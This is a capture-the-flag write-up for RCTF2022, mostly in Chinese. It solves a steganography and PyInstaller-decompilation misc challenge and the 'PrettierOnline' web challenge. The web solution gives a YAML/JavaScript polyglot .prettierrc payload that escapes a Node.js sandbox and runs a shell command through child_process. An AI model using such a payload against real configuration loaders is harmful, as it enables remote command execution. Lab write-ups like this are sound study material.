RCTF2022-Writeup
部分为比赛中的解题过程,部分为赛后复现题解QAQ
RCTF2022-Writeup
---------------TWe1v3
misc
ez_alient
使用zsteg扫描alien.tmp获得一串base64编码
解码得到:pwd="N0bOdy_l0ves_Me"
解压alien_invasion.zip,获得alien_invasion文件,使用file指令识别得知是PE32+ executable (console) x86-64, for MS Windows
,使用PyInstaller Extractor对文件进行反编译,注意这里的系统python版本一定得是3.8的,不然反编译不完全。
使用010editor打开alien_invasion.pyc,能够看到有这提示
从alien_invasion.pyc得到一串base64编码VTJreE0yNWpNdz09
,解码为:Si13nc3
打开PYZ-00.pyz_extracted文件夹,根据alien_invasion.pyc中的指示pyc文件中获得相关base64编码,统计为:
字符串 | 解码 | pyc文件 |
---|---|---|
s = b’VTJreE0yNWpNdz09’ | Si13nc3 | alien_invasion.pyc |
a = b’TVRVPQ==’ | 15 | alien.pyc |
l = b’Tm5WMA==’ | 6ut | settings.pyc |
m = b’YURBeFpHbHVPUT09 VDI0PQ== VTJreE0yNVVNWGs9’ | h01din9_On_Si13nT1y | ship.pyc |
a = b’YmtWMlJYST0=’ | nEvEr | bullet.pyc |
t = b’ZFhBPQ==’ | up | game_stats.pyc |
k = b’T1dsMmFXNDU=’ | 9ivin9 | button.pyc |
m = b’SmlZPQ==’ | && | scoreboard.pyc |
简单拼接可得flag:
RCTF{Si13nc3_15_nEvEr_9ivin9_up_&&_6ut_h01din9_On_Si13nT1y}
Web
PrettierOnline
查看.prettierrc
的配置文件说明Configuration File · Prettier
A file written in JSON or YAML..prettierrc
即.prettierrc
支持JSON和YAML两种配置文件,即需要我构建配置文件能够被解析成JS文件和YAML文件。
经测试
1 | var T=` `;console.log('TWe1v3')/* |
是能够在控制台中打印出字符,接下来就是bypass sandbox
查阅 https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/获得最后的payload
1 | var T=`: #`;module.exports = ()=>{return global.process.mainModule.constructor._load("child_process").execSync("/readflag").toString()};/* |
RCTF{pReTtiErRc.yAmL.iS.fUnnY}